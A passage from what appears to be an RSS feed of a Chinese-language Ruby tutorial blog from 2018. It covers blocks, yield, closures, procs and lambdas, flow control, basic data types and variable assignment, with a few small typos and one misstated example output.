&lt;li&gt;Block是一个参数&lt;/li&gt;
&lt;li&gt;匿名参数&lt;/li&gt;
&lt;li&gt;Callback&lt;/li&gt;
&lt;li&gt;使用do/en或者{}来定义&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;{puts &amp;quot;hello&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Demo:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# block usage
def hello
 puts &amp;quot;hello method start&amp;quot;
 yield
 yield
 puts &amp;quot;hello method end&amp;quot;
end
hello {puts &amp;quot;i am in block&amp;quot;}
#output
hello method start
i am in block
i am in block
hello method end


# yield with parameter
def hello
 puts &amp;quot;hello method start&amp;quot;
 yield(&amp;quot;hello&amp;quot;,&amp;quot;world&amp;quot;)
 puts &amp;quot;hello method end&amp;quot;
end
hello {|x,y| puts &amp;quot;i am in block,#{x} #{y}&amp;quot;}
#output
hello method start
i am in block,hello world
hello method end

# yield with paramter
def hello name
 puts &amp;quot;hello method start&amp;quot;
 result = &amp;quot;hello &amp;quot; + name
 yield(result)
 puts &amp;quot;hello method end&amp;quot;
end
hello(&amp;quot;world&amp;quot;){|x| puts &amp;quot;i am in block,i got #{x}&amp;quot;}
#output
hello method start
i am in block,i got hello world
hello method end

# build in methods
[&amp;quot;cat&amp;quot;, &amp;quot;dog&amp;quot;,&amp;quot;frog&amp;quot;].each do |animal|
 puts animal
end
puts &amp;quot;-&amp;quot; * 30
[&amp;quot;cat&amp;quot;,&amp;quot;dog&amp;quot;,&amp;quot;frog&amp;quot;].each{|animal| puts animal}
#output
cat
dog
frog
------------------------------
cat
dog
frog


# build in methods
10.times do |t|
 puts t
end
puts &amp;quot;-&amp;quot; * 30
(&amp;quot;a&amp;quot;..&amp;quot;d&amp;quot;).each { |char| puts char}
#output
1
2
3
4
5
6
7
8
9
------------------------------
a
b
c
d

# varibale scope
# before ruby2.0
x = 1
[1, 2, 3].each { |x| puts x}
puts x # =&amp;gt; x will be 3,which is incorrect
#output
1
2
3
1
如果是在ruby2之前的版本 那么外部的变量x会被改变

# varibale scope
# 如果是2.0版本之后 puts x会报错
sum = 0
[1, 2, 3].each { |x| sum += x}
puts sum
# puts x
#output
6

# block return value
class Array
 def find
 each do |value|
 return value if yield (value)
 end
 nil
 end
end
puts [1, 2, 3].find { |x| x == 2 }
#output
2

# block as named parameter
def hello name, &amp;amp;block
 puts &amp;quot;hello #{name}, from method&amp;quot;
 block.call(name)
end
hello(&amp;quot;world&amp;quot;) {|x| puts &amp;quot;hello #{x} form block&amp;quot;}
#output
hello world, from method
hello world form block

# yield with parameter
def hello
 puts &amp;quot;hello method start&amp;quot;
 yield(&amp;quot;hello&amp;quot;,&amp;quot;world&amp;quot;)
 puts &amp;quot;hello method end&amp;quot;
end
hello {|x,y| puts &amp;quot;i am block ,#{x},#{y}&amp;quot;}
#output
hello method start
i am block ,hello,world
hello method end

# block_given?
def hello
 if block_given?
 yield
 else
 puts &amp;quot;hello from method&amp;quot;
 end
end
hello
puts &amp;quot;-&amp;quot; * 30
hello {puts &amp;quot;hello from block&amp;quot;}
#output
hello from method
------------------------------
hello from block

# block can be closure
def counter
 sum = 0
 # 代码库接收了一个参数x 如果x没有定义那么x为1 然后 sum +=x
 proc {|x| x = 1 unless x; sum +=x }
end
c2 = counter
puts c2.call(1) #1
puts c2.call(2)
puts c2.call(3)
# 这里 closure 为闭包
#
#output
1
3
6

# new method to create block
# name is required
hello = -&amp;gt; (name){&amp;quot;hello #{name}&amp;quot;}
puts hello.call(&amp;quot;world&amp;quot;)
puts &amp;quot;-&amp;quot; * 30
# name is required
hello3 = lambda {|name| &amp;quot;hello #{name}&amp;quot;}
puts hello3.call(&amp;quot;world&amp;quot;)
puts &amp;quot;-&amp;quot; * 30
hello2 = proc {|name| &amp;quot;hello #{name}&amp;quot;}
puts hello2.call
puts hello2.call(&amp;quot;world&amp;quot;)
# lambda和proc区别 proc可以不传参数 lambda 更像是一个方法，必须传递参数
#output
hello world
------------------------------
hello world
------------------------------
hello
hello world
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="exceptions-异常"&gt;Exceptions 异常&lt;/h2&gt;
&lt;p&gt;All Exception inherited from &lt;code&gt;Exception Class&lt;/code&gt;&lt;/p&gt;</description></item><item><title>Ruby3 流程控制</title><link>https://luodaoyi.com/posts/ruby3-%E6%B5%81%E7%A8%8B%E6%8E%A7%E5%88%B6-ruby3%E6%B5%81%E7%A8%8B%E6%8E%A7%E5%88%B6/</link><pubDate>Fri, 16 Feb 2018 22:52:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ruby3-%E6%B5%81%E7%A8%8B%E6%8E%A7%E5%88%B6-ruby3%E6%B5%81%E7%A8%8B%E6%8E%A7%E5%88%B6/</guid><description>&lt;h2 id="ifelseelsif"&gt;if/else/elsif&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;span class="lnt"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hello&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kp"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;p&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;elsif&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;p&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;p&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;ok&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="unless"&gt;unless&lt;/h2&gt;
&lt;p&gt;unless相当于if的反向断言&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;unless&lt;/span&gt; &lt;span class="kp"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;ok&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# =&amp;gt; &amp;#34;ok&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;## if/unless&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;#如果a不是1 则a复制为1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="k"&gt;unless&lt;/span&gt; &lt;span class="n"&gt;defined?&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;#如果b未定义 那么就定义b赋值为2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;## case&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;when&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;when&lt;/span&gt; &lt;span class="sr"&gt;/hello/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;hello world&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;when&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;ok&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;## while&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;p&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;ruby 没有++和–操作符&lt;/p&gt;</description></item><item><title>Ruby1 数据类型，变量</title><link>https://luodaoyi.com/posts/ruby1-%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B%E5%8F%98%E9%87%8F-ruby1%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B%E5%8F%98%E9%87%8F/</link><pubDate>Fri, 16 Feb 2018 21:55:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ruby1-%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B%E5%8F%98%E9%87%8F-ruby1%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B%E5%8F%98%E9%87%8F/</guid><description>&lt;ol&gt;
&lt;li&gt;整数类型: &lt;code&gt;3,222&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;小数: &lt;code&gt;3.14&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;字符串: &lt;code&gt;hello,world&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;布尔类型: &lt;code&gt;true(TrueClass),false(FalseClass)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;数组: &lt;code&gt;[1,2],[&amp;quot;hello&amp;quot;,&amp;quot;hello world&amp;quot;]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Hash(字典): &lt;code&gt;{&amp;quot;name&amp;quot;=&amp;gt;&amp;quot;luo&amp;quot;,&amp;quot;age&amp;quot;=&amp;gt;24},{:name=&amp;gt;&amp;quot;daoyi&amp;quot;,:age=&amp;gt;24}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Symbol(符号): &lt;code&gt;:a,:hello,:&amp;quot;hello world&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Range: &lt;code&gt;1..10,1...10&lt;/code&gt;(三个点不包括10本身)&lt;/li&gt;
&lt;li&gt;正则: &lt;code&gt;/hello/i&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="string-字符串"&gt;String 字符串&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hello&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;#=&amp;gt; hello&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;world&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;#=&amp;gt; world&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt; &lt;span class="c1"&gt;#=&amp;gt; String&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="c1"&gt;#=&amp;gt; hello world&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;#=&amp;gt; hello world&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="string-method"&gt;string method&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;hello world&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="c1"&gt;#=&amp;gt;11&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;hello world&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;capitalize&lt;/span&gt; &lt;span class="c1"&gt;#=&amp;gt; Hello world&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;hello world&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gsub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;world&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;gril&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;upcase&lt;/span&gt; &lt;span class="c1"&gt;#=&amp;gt; HELLO GIRL&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="变量赋值"&gt;变量赋值&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hello&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; hello&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;object_id&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; 70353313681980&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;hello2&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; &amp;#34;hello2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;object_id&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; 70353313681980&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hello&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;object_id&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; 70353313549380&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;当a 使用replace时候仍然是原本的引用地址，所以Object_id不变&lt;br&gt;
但是当a重新赋值为hello 的时候，a的引用地址发生了变化 object_id就改变了&lt;/p&gt;</description></item><item><title>Ruby2 Method and Block</title><link>https://luodaoyi.com/posts/ruby2-method-and-block-ruby2methodandblock/</link><pubDate>Fri, 16 Feb 2018 21:55:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ruby2-method-and-block-ruby2methodandblock/</guid><description>&lt;h2 id="methodfunction"&gt;Method(Function)&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;span class="lnt"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ruby" data-lang="ruby"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;p&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hi &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;hi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;666&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# =&amp;gt; &amp;#34;hi 666&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;hi&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;code&amp;#34;&lt;/span&gt; &lt;span class="c1"&gt;#括号省略 =&amp;gt; &amp;#34;hi code&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hello&lt;/span&gt; &lt;span class="nb"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;p&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;hello &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;end&lt;/span&gt;
